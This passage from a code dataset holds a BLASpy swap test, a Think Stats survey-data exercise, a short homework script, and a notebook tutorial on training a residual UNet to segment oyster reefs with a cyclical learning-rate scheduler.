69, "max_issues_repo_issues_event_min_datetime": "2020-06-22T19:34:06.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T22:57:35.000Z", "max_forks_repo_path": "explore_simulation_approach/1_simulate_and_identify_generic_genes_using_noise_approach.py", "max_forks_repo_name": "ajlee21/generic-expression-patterns", "max_forks_repo_head_hexsha": "c73b425a0d39fa57d2014dd9f879188cc915a54a", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 5, "max_forks_repo_forks_event_min_datetime": "2020-06-12T12:58:21.000Z", "max_forks_repo_forks_event_max_datetime": "2021-06-29T23:10:34.000Z", "avg_line_length": 36.4382022472, "max_line_length": 508, "alphanum_fraction": 0.7389762566, "include": true, "reason": "import numpy,import scipy", "num_tokens": 2967, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091946, "lm_q2_score": 0.11757213199952936, "lm_q1q2_score": 0.05832680920270695}}
{"text": "\"\"\"\n\n    Copyright (c) 2014-2015-2015, The University of Texas at Austin.\n    All rights reserved.\n\n    This file is part of BLASpy and is available under the 3-Clause\n    BSD License, which can be found in the LICENSE file at the top-level\n    directory or at http://opensource.org/licenses/BSD-3-Clause\n\n\"\"\"\n\nfrom ..helpers import random_vector\nfrom blaspy import swap\nfrom numpy import allclose, copy\nfrom itertools import product\nfrom random import randint, uniform\n\nN_MIN, N_MAX = 2, 1e3           # matrix/vector sizes\nSTRIDE_MAX = 1e2                # max vector stride\n\n\ndef acceptance_test_swap():\n    \"\"\"\n    Test vector swap.\n\n    Returns:\n        A list of strings representing the failed tests.\n    \"\"\"\n\n    tests_failed = []\n\n    # values to test\n    dtypes = ('float64', 'float32')\n    bools = (True, False)\n    strides = (1, None)  # None indicates random stride\n\n    # test all combinations of all possible values\n    for (dtype, as_matrix, x_is_row, y_is_row, stride) in product(dtypes, bools, bools, bools,\n                                                                  strides):\n\n        # if a test fails, create a string representation of its name and append it to the list\n        # of failed tests\n        if not passed_test(dtype, as_matrix, x_is_row, y_is_row, stride):\n            variables = (dtype,\n                         \"_matrix\" if as_matrix else \"_ndarray\",\n                         \"_row\" if x_is_row else \"_col\",\n                         \"_row\" if y_is_row else \"_col\",\n                         \"_rand_stride\" if stride is None else \"\")\n            test_name = \"\".join(variables)\n            tests_failed.append(test_name)\n\n    return tests_failed\n\n\ndef passed_test(dtype, as_matrix, x_is_row, y_is_row, stride):\n    \"\"\"\n    Run one vector swap test.\n\n    Arguments:\n        dtype:        either 'float64' or 'float32', the NumPy dtype to test\n        as_matrix:    True to test a NumPy matrix, False to test a NumPy ndarray\n        x_is_row:     True to test a row vector as parameter x, False to test a column vector\n        y_is_row:     True to test a row vector as parameter y, False to test a column vector\n        stride:       stride of x and y to test; if None, a random stride is assigned\n\n    Returns:\n        True if the expected result is within the margin of error of the actual result,\n        False otherwise.\n    \"\"\"\n\n    # generate random sizes for vector dimensions and vector stride (if necessary)\n    length = randint(N_MIN, N_MAX)\n    stride = randint(N_MIN, STRIDE_MAX) if stride is None else stride\n\n    # create random vectors to test\n    x = random_vector(length, x_is_row, dtype, as_matrix)\n    y = random_vector(length, y_is_row, dtype, as_matrix)\n\n    # compute the expected result\n    if stride == 1:\n        x_2 = copy(y.T) if y_is_row else copy(y)\n        y_2 = copy(x.T) if x_is_row else copy(x)\n    else:\n        x_2 = copy(x.T) if x_is_row else copy(x)\n        y_2 = copy(y.T) if y_is_row else copy(y)\n        for i in range(0, length, stride):\n            temp = x_2[i, 0]\n            x_2[i, 0] = y_2[i, 0]\n            y_2[i, 0] = temp\n\n    # get the actual result\n    swap(x, y, stride, stride)\n\n    # compare the actual result to the expected result and return result of the test\n    passed_x = allclose(x.T, x_2) if x_is_row else allclose(x, x_2)\n    passed_y = allclose(y.T, y_2) if y_is_row else allclose(y, y_2)\n    return passed_x and passed_y", "meta": {"hexsha": "964c7728d1deb7e6b4e1ce989f6c90863d245f52", "size": 3426, "ext": "py", "lang": "Python", "max_stars_repo_path": "bp_acceptance_tests/level_1/acceptance_test_swap.py", "max_stars_repo_name": "nicholas-moreles/blaspy", "max_stars_repo_head_hexsha": "c4af6258e17dd996c4b6d90bbaae15b31b8702b4", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 4, "max_stars_repo_stars_event_min_datetime": "2015-01-25T12:44:44.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-19T08:36:19.000Z", "max_issues_repo_path": "bp_acceptance_tests/level_1/acceptance_test_swap.py", "max_issues_repo_name": "nicholas-moreles/blaspy", "max_issues_repo_head_hexsha": "c4af6258e17dd996c4b6d90bbaae15b31b8702b4", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 7, "max_issues_repo_issues_event_min_datetime": "2015-01-20T13:35:39.000Z", "max_issues_repo_issues_event_max_datetime": "2015-05-31T17:11:50.000Z", "max_forks_repo_path": "bp_acceptance_tests/level_1/acceptance_test_swap.py", "max_forks_repo_name": "nicholas-moreles/blaspy", "max_forks_repo_head_hexsha": "c4af6258e17dd996c4b6d90bbaae15b31b8702b4", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.3195876289, "max_line_length": 95, "alphanum_fraction": 0.6243432574, "include": true, "reason": "from numpy", "num_tokens": 864, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091946, "lm_q2_score": 0.11757212736159103, "lm_q1q2_score": 0.058326806901854364}}
{"text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nAssignment Chaper 01 (Think Stats 2, Allen B. Downey)\r\nEx 1-2\r\nSelf-study on statistics using pyhton\r\n@author: Github: @rafaelmm82\r\n\"\"\"\r\n\r\nfrom __future__ import print_function, division\r\n\r\nimport sys\r\nimport numpy as np\r\nimport thinkstats2\r\n\r\nfrom collections import defaultdict\r\n\r\n\r\ndef ReadFemResp(dct_file='2002FemResp.dct',\r\n                dat_file='2002FemResp.dat.gz',\r\n                nrows=None):\r\n    \"\"\"Reads the NSFG respondent data.\r\n\r\n    dct_file: string file name\r\n    dat_file: string file name\r\n\r\n    returns: DataFrame\r\n    \"\"\"\r\n    dct = thinkstats2.ReadStataDct(dct_file)\r\n    df = dct.ReadFixedWidth(dat_file, compression='gzip', nrows=nrows)\r\n    CleanFemResp(df)\r\n    return df\r\n\r\n\r\ndef CleanFemResp(df):\r\n    \"\"\"Recodes variables from the respondent frame.\r\n\r\n    df: DataFrame\r\n    \"\"\"\r\n    pass\r\n\r\n\r\ndef ReadFemPreg(dct_file='2002FemPreg.dct',\r\n                dat_file='2002FemPreg.dat.gz'):\r\n    \"\"\"Reads the NSFG pregnancy data.\r\n\r\n    dct_file: string file name\r\n    dat_file: string file name\r\n\r\n    returns: DataFrame\r\n    \"\"\"\r\n    dct = thinkstats2.ReadStataDct(dct_file)\r\n    df = dct.ReadFixedWidth(dat_file, compression='gzip')\r\n    CleanFemPreg(df)\r\n    return df\r\n\r\n\r\ndef CleanFemPreg(df):\r\n    \"\"\"Recodes variables from the pregnancy frame.\r\n\r\n    df: DataFrame\r\n    \"\"\"\r\n    # mother's age is encoded in centiyears; convert to years\r\n    df.agepreg /= 100.0\r\n\r\n    # birthwgt_lb contains at least one bogus value (51 lbs)\r\n    # replace with NaN\r\n    df.loc[df.birthwgt_lb > 20, 'birthwgt_lb'] = np.nan\r\n    \r\n    # replace 'not ascertained', 'refused', 'don't know' with NaN\r\n    na_vals = [97, 98, 99]\r\n    df.birthwgt_lb.replace(na_vals, np.nan, inplace=True)\r\n    df.birthwgt_oz.replace(na_vals, np.nan, inplace=True)\r\n    df.hpagelb.replace(na_vals, np.nan, inplace=True)\r\n\r\n    df.babysex.replace([7, 9], np.nan, inplace=True)\r\n    df.nbrnaliv.replace([9], np.nan, inplace=True)\r\n\r\n    # birthweight is stored in two columns, lbs and oz.\r\n    # convert to a single column in lb\r\n    # NOTE: creating a new column requires dictionary syntax,\r\n    # not attribute assignment (like df.totalwgt_lb)\r\n    df['totalwgt_lb'] = df.birthwgt_lb + df.birthwgt_oz / 16.0    \r\n\r\n    # due to a bug in ReadStataDct, the last variable gets clipped;\r\n    # so for now set it to NaN\r\n    df.cmintvw = np.nan\r\n\r\n\r\ndef ValidatePregnum(resp, preg):\r\n    \"\"\"Validate pregnum in the respondent file.\r\n\r\n    resp: respondent DataFrame\r\n    preg: pregnancy DataFrame\r\n    \"\"\"\r\n    # make the map from caseid to list of pregnancy indices\r\n    preg_map = MakePregMap(preg)\r\n    \r\n    # iterate through the respondent pregnum series\r\n    for index, pregnum in resp.pregnum.iteritems():\r\n        caseid = resp.caseid[index]\r\n        indices = preg_map[caseid]\r\n\r\n        # check that pregnum from the respondent file equals\r\n        # the number of records in the pregnancy file\r\n        if len(indices) != pregnum:\r\n            print(caseid, len(indices), pregnum)\r\n            return False\r\n\r\n    return True\r\n\r\n\r\ndef MakePregMap(df):\r\n    \"\"\"Make a map from caseid to list of preg indices.\r\n\r\n    df: DataFrame\r\n\r\n    returns: dict that maps from caseid to list of indices into `preg`\r\n    \"\"\"\r\n    d = defaultdict(list)\r\n    for index, caseid in df.caseid.iteritems():\r\n        d[caseid].append(index)\r\n    return d\r\n\r\n\r\ndef main():\r\n    \"\"\"Tests the functions in this module.\r\n\r\n    script: string script name\r\n    \"\"\"\r\n    # read and validate the respondent file\r\n    resp = ReadFemResp()\r\n\r\n    assert(len(resp) == 7643)\r\n    assert(resp.pregnum.value_counts()[1] == 1267)\r\n\r\n    # read and validate the pregnancy file\r\n    preg = ReadFemPreg()\r\n    print(preg.shape)\r\n    \r\n\r\n    # validate that the pregnum column in `resp` matches the number\r\n    # of entries in `preg`\r\n    assert(ValidatePregnum(resp, preg))\r\n\r\n    \r\n    print('Everything is ok!')\r\n\r\n\r\nif __name__ == '__main__':\r\n    main()\r\n", "meta": {"hexsha": "ab258d42b1749cfeb357ac1cab037c2d01d8a639", "size": 3956, "ext": "py", "lang": "Python", "max_stars_repo_path": "ThinkStats2/rafael_chap01ex.py", "max_stars_repo_name": "rafaelmm82/learning", "max_stars_repo_head_hexsha": "c8cd7408404dbbcc0af3ae0a18c6c311d4003269", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "ThinkStats2/rafael_chap01ex.py", "max_issues_repo_name": "rafaelmm82/learning", "max_issues_repo_head_hexsha": "c8cd7408404dbbcc0af3ae0a18c6c311d4003269", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "ThinkStats2/rafael_chap01ex.py", "max_forks_repo_name": "rafaelmm82/learning", "max_forks_repo_head_hexsha": "c8cd7408404dbbcc0af3ae0a18c6c311d4003269", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 26.1986754967, "max_line_length": 71, "alphanum_fraction": 0.6365015167, "include": true, "reason": "import numpy", "num_tokens": 1023, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.11757212117767352, "lm_q1q2_score": 0.05832680383405105}}
{"text": "#Joy\nimport numpy as np    #the numpy library\nimport matplotlib.pyplot as plt\n\nimport sys  #gives any command line arguments, incl program name\nimport os  #gives access to operating\n\nprint(sys.argv)     #print any comand arguments, incl program name\nprint(os.getcwd)   #print the current working directory", "meta": {"hexsha": "3d446b3047bad42b151711e8f846d523ea5a923e", "size": 305, "ext": "py", "lang": "Python", "max_stars_repo_path": "useful_modules.py", "max_stars_repo_name": "jvelasq9/Astr-119-hw-1", "max_stars_repo_head_hexsha": "9d497f94991d216f8fa6e82e41a350a795837282", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "useful_modules.py", "max_issues_repo_name": "jvelasq9/Astr-119-hw-1", "max_issues_repo_head_hexsha": "9d497f94991d216f8fa6e82e41a350a795837282", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2018-10-11T01:41:26.000Z", "max_issues_repo_issues_event_max_datetime": "2018-10-18T18:32:30.000Z", "max_forks_repo_path": "useful_modules.py", "max_forks_repo_name": "jvelasq9/Astr-119-hw-1", "max_forks_repo_head_hexsha": "9d497f94991d216f8fa6e82e41a350a795837282", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.8888888889, "max_line_length": 66, "alphanum_fraction": 0.7737704918, "include": true, "reason": "import numpy", "num_tokens": 71, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.38861802670584894, "lm_q2_score": 0.15002883194322006, "lm_q1q2_score": 0.058303908618757616}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Advanced Binary Image Segmentation for the Geo- and Eco-sciences, using Deep Learning\n# \n# ## Case Study: Detecting Intertidal Reefs\n# \n# #### Daniel Buscombe, MARDA Science\n# \n# ![](https://mardascience.com/wp-content/uploads/2019/06/cropped-MardaScience_logo-5.png)\n\n# Before you do anything, go to `File > Save copy in Drive` so you can keep and work on your own copy\n# \n# ## Part 5: Train a oyster reef masker using a custom learning rate scheduler\n# \n# This jupyter notebook running on Google Colab is part of the \"Advanced Binary Image Segmentation for the Geo- and Eco-sciences, using Deep Learning\" course. The main course website can be accessed [here](https://mardascience.gitlab.io/binary_image_segmentation_for_geosciences/#/)\n# \n# Then we will construct, train and evaluate the model. In the [oysterNet paper](https://zslpublications.onlinelibrary.wiley.com/doi/full/10.1002/rse2.134), the authors used a bigger, more sophisticated model for `instance segmentation`, that is, semantic segmentation that is aware of all the different `instances` of the class (i.e. each individual piece of reef). The model they use is called `Mask RCNN`, the implementation of which is [here](https://github.com/matterport/Mask_RCNN). That is a large and very complicated model that is hard to experiment with. The research behind the [oysterNet paper](https://zslpublications.onlinelibrary.wiley.com/doi/full/10.1002/rse2.134) is state-of-the-art.\n# \n# Here, we use a simpler model with fewer parameters (namely, a residual UNet) and acheive acceptable results for a semantic segmentation (predicting the masks of where the reefs are, rather than by individual instances). The UNet is the same we used in a [previous set of tutorials](https://mardascience.gitlab.io/deep_learning_landscape_classification/#/) and is relatively simple to adapt and play with to demonstrate a few principles.\n# \n# **In this tutorial, we'll adapt our training strategies in search of a more satisfactory result. This may or may not be directly transferable with the same fidelity to your own dataset, but this is a good trick to learn and understand that might help for your data modelling purposes. This time we use a cyclical learning rate scheduler**\n# \n# According to [this](https://arxiv.org/abs/1506.01186) and [this](https://www.pyimagesearch.com/2019/07/29/cyclical-learning-rates-with-keras-and-deep-learning/), there are a few reasons why we would want to trial this strategy\n# * a low learning rate may not be sufficient to break out of the non-optimal areas of the loss landscape and descend into areas of the loss landscape with lower loss.\n# * our model and optimizer may be very sensitive to our initial learning rate choice\n# \n# \n# This is designed to demonstrate a problem-solving strategy, and also a principle that often applies to natural imagery:\n# \n# > It's not just the model you choose, it's how you train it that counts\n# \n# \n# \n\n# ### Import libraries\n\n# In[ ]:\n\n\nimport os #for accessing operating system utilities\nfrom glob import glob #for finding files that match a certain string pattern\nimport matplotlib.pyplot as plt #for plotting\nimport numpy as np #for numerical operations\nimport random, string #for creating random strings\nimport tensorflow as tf #tensorflow\nimport json # for reading lable annotations in json format\nimport requests #for downloading files \nfrom PIL import Image, ImageFilter #for reading and filtering imagery\nimport skimage.draw #for making masks (raster label images) from label annotations\nfrom skimage.transform import resize #for resizing imagery\nfrom psutil import virtual_memory #for interrogating our filesystem and RAM specifications\nfrom imageio import imwrite\n\n\n# In[ ]:\n\n\nfrom tensorflow.keras.callbacks import ReduceLROnPlateau, EarlyStopping, ModelCheckpoint\nfrom random import shuffle\nfrom tensorflow.keras.layers import Input, Conv2D, MaxPooling2D, UpSampling2D, BatchNormalization\nfrom tensorflow.keras.layers import Concatenate, Conv2DTranspose, Flatten, Activation, Add\nfrom tensorflow.keras.models import Model\n\n\n# ### Prepare the data\n\n# #### Download the  imagery\n# \n\n# For the remainder of the tutorials, we'll be using this version of the data, consisting of imagery and image labels, with an augmented training set consisting of double the original number of imagery, half of which have been augmented with random flips, zoms and rotations\n\n# In[ ]:\n\n\n# from https://stackoverflow.com/questions/38511444/python-download-files-from-google-drive-using-url\n\ndef download_file_from_google_drive(id, destination):\n    URL = \"https://docs.google.com/uc?export=download\"\n\n    session = requests.Session()\n\n    response = session.get(URL, params = { 'id' : id }, stream = True)\n    token = get_confirm_token(response)\n\n    if token:\n        params = { 'id' : id, 'confirm' : token }\n        response = session.get(URL, params = params, stream = True)\n\n    save_response_content(response, destination)    \n\ndef get_confirm_token(response):\n    for key, value in response.cookies.items():\n        if key.startswith('download_warning'):\n            return value\n\n    return None\n\ndef save_response_content(response, destination):\n    \"\"\"\n    response = filename for input\n    destination = filename for output\n    \"\"\"    \n    CHUNK_SIZE = 32768\n\n    with open(destination, \"wb\") as f:\n        for chunk in response.iter_content(CHUNK_SIZE):\n            if chunk: # filter out keep-alive new chunks\n                f.write(chunk)\n\n\n# In[ ]:\n\n\nfile_id = '19RgkzaD9w-rvAF9uBpqMONnwF0lJVPh3'\ndestination = 'train_images.tar.gz'\ndownload_file_from_google_drive(file_id, destination)\n\n\n# In[ ]:\n\n\nget_ipython().system('tar -xf train_images.tar.gz > tmp.txt')\n\n\n# In[ ]:\n\n\nfile_id = '1gjWGXO7mtBhJuSOqrG6B1inzLF8TfTSX'\ndestination = 'val_images.tar.gz'\ndownload_file_from_google_drive(file_id, destination)\n\n\n# In[ ]:\n\n\nget_ipython().system('tar -xf val_images.tar.gz > tmp.txt')\n\n\n# In[ ]:\n\n\nfile_id = '1x8HrgEStkBCdBmFNo1xa0x6LCVE2GE1g'\ndestination = 'train_labels.tar.gz'\ndownload_file_from_google_drive(file_id, destination)\n\n\n# In[ ]:\n\n\nget_ipython().system('tar -xf train_labels.tar.gz > tmp.txt')\n\n\n# In[ ]:\n\n\nfile_id = '1v0kPgwZVQNrGAk0awJi31W83CYvHJbeX'\ndestination = 'val_labels.tar.gz'\ndownload_file_from_google_drive(file_id, destination)\n\n\n# In[ ]:\n\n\nget_ipython().system('tar -xf val_labels.tar.gz > tmp.txt')\n\n\n# In[ ]:\n\n\nroot = './content/'\n\n\n# Check to see how many images we now have to work with\n\n# In[ ]:\n\n\ntrain_files = glob(root+\"1kx1k_dataset/train_images/data/*.png\")\nval_files = glob(root+\"1kx1k_dataset/val_images/data/*.png\")\n\nprint(\"# train files: %i\" % (len(train_files)))\nprint(\"# validation files: %i\" % (len(val_files)))\n\n\n# ### Setting up model training\n\n# #### Custom batch generator\n\n# We are going to feed images to the network in batches. The batch size (number of images and associated labels) will be ...\n\n# In[ ]:\n\n\nbatch_size = 6\n\n\n# The next function is an image batch generator. A `generator` is a special type of python function that `yields` a set of data. In our case, it will yield a set of `batch_size` images and labels drawn randomly from the entire set of `files` provided\n# \n# It opens the file, reads it into a numpy array with correct dimensions checked, and then does the same for the label image. It scales the image by dividing by 255, do turn the 8-bit data scaled between 0 and 255 to data scaled between 0 and 1. The labels are flattened from 3D (RGB) to 2D (greyscale integers)\n\n# In[ ]:\n\n\ndef image_batch_generator(files, sz, batch_size = 4):\n\n  while True: # this is here because it will be called repeatedly by the training function\n\n    #extract a random subset of files of length \"batch_size\"\n    batch = np.random.choice(files, size = batch_size)\n\n    #variables for collecting batches of inputs (x) and outputs (y)\n    batch_x = []\n    batch_y = []\n\n    #cycle through each image in the batch\n    for f in batch:\n\n        #preprocess the raw images\n        raw = Image.open(f)\n        raw = raw.resize(sz)\n        raw = raw.filter(ImageFilter.UnsharpMask(radius=20, percent=100))\n        raw = np.array(raw)\n\n        #check the number of channels because some of the images are RGBA or GRAY\n        if len(raw.shape) == 2:\n            raw = np.stack((raw,)*3, axis=-1)\n\n        else:\n            raw = raw[:,:,0:3]\n\n        #get the image dimensions, find the min dimension, then square the image off\n        nx, ny, nz = np.shape(raw)\n        n = np.minimum(nx,ny)\n        raw = raw[:n,:n,:]\n\n        raw[np.isnan(raw)] = 1e-5\n        raw[np.isinf(raw)] = 1e-5\n\n        batch_x.append(raw)\n\n        #get the masks.\n        maskfile = f.replace('_images','_labels').replace('.png','.jpg')\n        mask = Image.open(maskfile)\n        # the mask is 3-dimensional so get the max in each channel to flatten to 2D\n        try:\n           mask = np.max(np.array(mask.resize(sz)),axis=2)\n        except:\n           mask = np.array(mask.resize(sz))\n\n        # water pixels are always greater than 170\n        mask = (mask>170).astype('int') ##170 = (2/3)*255\n\n        mask = mask[:n,:n]\n\n        mask[np.isnan(mask)] = 1e-5\n        mask[np.isinf(mask)] = 1e-5\n        batch_y.append(mask)\n\n    #preprocess a batch of images and masks\n    batch_x = np.array(batch_x) #/255. #divide image by 255 to normalize\n    batch_y = np.array(batch_y)\n    batch_y = np.expand_dims(batch_y,1) #add singleton dimension to batch_y\n\n    yield (batch_x, batch_y) #yield both the image and the label together\n\n\n# We will specify input imagery of size `(512, 512, 3)`\n\n# In[ ]:\n\n\nsz = (512, 512)\n\n\n# #### Build the model\n\n# \n\n# In[ ]:\n\n\ndef batchnorm_act(x):\n    x = BatchNormalization()(x)\n    return Activation(\"relu\")(x)\n\ndef conv_block(x, filters, kernel_size=(3, 3), padding=\"same\", strides=1):\n    conv = batchnorm_act(x)\n    return Conv2D(filters, kernel_size, padding=padding, strides=strides)(conv)\n\ndef bottleneck_block(x, filters, kernel_size=(3, 3), padding=\"same\", strides=1):\n    conv = Conv2D(filters, kernel_size, padding=padding, strides=strides)(x)\n    conv = conv_block(conv, filters, kernel_size=kernel_size, padding=padding, strides=strides)\n    \n    bottleneck = Conv2D(filters, kernel_size=(1, 1), padding=padding, strides=strides)(x)\n    bottleneck = batchnorm_act(bottleneck)\n    \n    return Add()([conv, bottleneck])\n\ndef res_block(x, filters, kernel_size=(3, 3), padding=\"same\", strides=1):\n    res = conv_block(x, filters, kernel_size=kernel_size, padding=padding, strides=strides)\n    res = conv_block(res, filters, kernel_size=kernel_size, padding=padding, strides=1)\n    \n    bottleneck = Conv2D(filters, kernel_size=(1, 1), padding=padding, strides=strides)(x)\n    bottleneck = batchnorm_act(bottleneck)\n    \n    return Add()([bottleneck, res])\n\ndef upsamp_concat_block(x, xskip):\n    u = UpSampling2D((2, 2))(x)\n    return Concatenate()([u, xskip])\n\ndef res_unet(sz, f):\n    inputs = Input(sz)\n    \n    ## downsample  \n    e1 = bottleneck_block(inputs, f); f = int(f*2)\n    e2 = res_block(e1, f, strides=2); f = int(f*2)\n    e3 = res_block(e2, f, strides=2); f = int(f*2)\n    e4 = res_block(e3, f, strides=2); f = int(f*2)\n    _ = res_block(e4, f, strides=2)\n    \n    ## bottleneck\n    b0 = conv_block(_, f, strides=1)\n    _ = conv_block(b0, f, strides=1)\n    \n    ## upsample\n    _ = upsamp_concat_block(_, e4)\n    _ = res_block(_, f); f = int(f/2)\n    \n    _ = upsamp_concat_block(_, e3)\n    _ = res_block(_, f); f = int(f/2)\n    \n    _ = upsamp_concat_block(_, e2)\n    _ = res_block(_, f); f = int(f/2)\n    \n    _ = upsamp_concat_block(_, e1)\n    _ = res_block(_, f)\n    \n    ## classify\n    outputs = Conv2D(1, (1, 1), padding=\"same\", activation=\"sigmoid\")(_)\n    \n    #model creation \n    model = Model(inputs=[inputs], outputs=[outputs])\n    return model\n\t\n\n\n# This is a class imbalanced problem, with many more `non-reef` pixels compared to `reef` pixels (the target class)\n# \n# So, we will use (Sorensen-)Dice loss instead of the more common IoU score (Jaccard Index) which is more suitable for class balanced problems\n\n# In[ ]:\n\n\nsmooth = 1.\n\ndef dice_coef(y_true, y_pred):\n    y_true_f = tf.reshape(tf.dtypes.cast(y_true, tf.float32), [-1])\n    y_pred_f = tf.reshape(tf.dtypes.cast(y_pred, tf.float32), [-1])\n    intersection = tf.reduce_sum(y_true_f * y_pred_f)\n    return (2. * intersection + smooth) / (tf.reduce_sum(y_true_f) + tf.reduce_sum(y_pred_f) + smooth)\n\ndef dice_coef_loss(y_true, y_pred):\n    return 1.0 - dice_coef(y_true, y_pred)\n\n\n# Next, we make and compile our model\n# \n# As we saw in lesson 1, model compilation is a necessary step, involving specifiying the 'optimizer' (we will use `rmsprop` but `adam` is also a good one to use, in my experience). The loss function is the Dice loss, and the metric we want to keep track of in the dice coefficient\n\n# In[ ]:\n\n\nmodel = res_unet(sz+(3,), batch_size)\nmodel.compile(optimizer = 'adam', loss = dice_coef_loss, metrics = [dice_coef])\n\n\n# Let's take a look at how many parameters we have to optimize\n\n# In[ ]:\n\n\nmodel.summary()\n\n\n# We have over 600,000 trainable parameters. This is a lot, for any model, but tiny compared to the number of parameters in some deep learning models, with up to hundreds of millions of trainable parameters\n\n# ### Train the model with a custom \"learning rate scheduler\"\n\n# In[ ]:\n\n\ncallbacks = tf.keras.callbacks\nbackend = tf.keras.backend\n\n\nclass PlotLearning(callbacks.Callback):\n\n    def on_train_begin(self, logs={}):\n        self.i = 0\n        self.x = []\n        self.losses = []\n        self.val_losses = []\n        self.acc = []\n        self.val_acc = []\n        #self.fig = plt.figure()\n        self.logs = []\n    def on_epoch_end(self, epoch, logs={}):\n        self.logs.append(logs)\n        self.x.append(self.i)\n        self.losses.append(logs.get('loss'))\n        self.val_losses.append(logs.get('val_loss'))\n        self.acc.append(logs.get('dice_coef'))\n        self.val_acc.append(logs.get('val_dice_coef'))\n        self.i += 1\n        print('i=',self.i,'loss=',logs.get('loss'),'val_loss=',logs.get('val_loss'),'dice_coef=',logs.get('dice_coef'),'val_dice_coef=',logs.get('val_dice_coef'))\n\n        #choose a random test image and preprocess\n        f = np.random.choice(val_files)\n\n        raw = np.array(Image.open(f).resize(sz))\n\n        #predict the mask\n        pred = 255*model.predict(np.expand_dims(raw, 0)).squeeze()\n        print(np.max(pred))\n\n        #mask post-processing\n        msk  = (pred>170).astype('int') \n\n        msk = np.stack((msk,)*3, axis=-1)\n\n        #show the mask and the segmented image\n        combined = np.concatenate([raw, msk, raw* msk], axis = 1)\n        plt.axis('off')\n        plt.imshow(combined)\n        plt.show()\n        #plt.savefig(str(self.i)+'.png', dpi=100, bbox_inches='tight')\n\n\n# In Part 3 we used callback functions that adaptively change the pace of training (using an adaptive learning rate), called [\"reduce loss on plateau\"](https://www.tensorflow.org/api_docs/python/tf/keras/callbacks/ReduceLROnPlateau)\n# \n# This time we'll control precisely the learning rate scheduler to invoke a function that describes the learning rate as a function of training epoch\n# \n# To do so requires a new class that will feed the model the correct learning rate based on the epoch it is current training on\n# \n# \n\n# In[ ]:\n\n\nclass LearningRateScheduler(callbacks.Callback):\n    def __init__(self,\n                 schedule,\n                 learning_rate=None,\n                 steps_per_epoch=None,\n                 verbose=0):\n        super(LearningRateScheduler, self).__init__()\n        self.learning_rate = learning_rate\n        self.schedule = schedule\n        self.verbose = verbose\n        self.warmup_epochs = 0 \n        self.warmup_steps = 0 \n        self.global_batch = 0\n\n    def on_train_batch_begin(self, batch, logs=None):\n        self.global_batch += 1\n        if self.global_batch < self.warmup_steps:\n            if not hasattr(self.model.optimizer, 'lr'):\n                raise ValueError('Optimizer must have a \"lr\" attribute.')\n            lr = self.learning_rate * self.global_batch / self.warmup_steps\n            backend.set_value(self.model.optimizer.lr, lr)\n            if self.verbose > 0:\n                print('\\nBatch %05d: LearningRateScheduler warming up learning '\n                      'rate to %s.' % (self.global_batch, lr))\n\n    def on_epoch_begin(self, epoch, logs=None):\n        if not hasattr(self.model.optimizer, 'lr'):\n            raise ValueError('Optimizer must have a \"lr\" attribute.')\n        lr = float(backend.get_value(self.model.optimizer.lr))\n\n        if epoch >= self.warmup_epochs:\n            try:  # new API\n                lr = self.schedule(epoch - self.warmup_epochs, lr)\n            except TypeError:  # old API\n                lr = self.schedule(epoch - self.warmup_epochs)\n            if not isinstance(lr, (float, np.float32, np.float64)):\n                raise ValueError('The output of the \"schedule\" function '\n                                 'should be float.')\n            backend.set_value(self.model.optimizer.lr, lr)\n\n            if self.verbose > 0:\n                print('\\nEpoch %05d: LearningRateScheduler reducing learning '\n                      'rate to %s.' % (epoch + 1, lr))\n\n    def on_epoch_end(self, epoch, logs=None):\n        logs = logs or {}\n        logs['lr'] = backend.get_value(self.model.optimizer.lr)\n\n\n# In[ ]:\n\n\n\n\n\n# This is our cosine function implementation for a 'cyclical' learning rate between two specified bounds, `min_lr` (minimum learning rate) and `max_lr` (maximum learning rate)\n\n# In[ ]:\n\n\ndef cosine_ratedecay(max_epochs, max_lr, min_lr=1e-6): \n    \"\"\"\n    cosine scheduler.\n    :param max_epochs: max epochs\n    :param max_lr: max lr\n    :param min_lr: min lr\n    :return: current lr\n    \"\"\"\n    max_epochs = max_epochs ##- 5 if warmup else max_epochs\n\n    def ratedecay(epoch):\n        lrate = min_lr + (max_lr - min_lr) * (\n                1 + np.cos(np.pi*2 * epoch / max_epochs)) / 2\n\n        return lrate\n\n    return ratedecay\n\n\n# We now have two new hyperparameters we didn't have before\n\n# In[ ]:\n\n\n# maximum learning rate (lambda)\nmax_lr = 1e-4\n\nmax_epochs = 200\n\n\n# The \"two bites at the cherry\" learning rate scheduler. The intuition behind this is that the model searches progressively finer portions of the loss parameter space, up until about epoch 70, then the function increases again, using larger learning rates to explore other 'valleys' in the loss landscape. \n# \n# I informally call it the 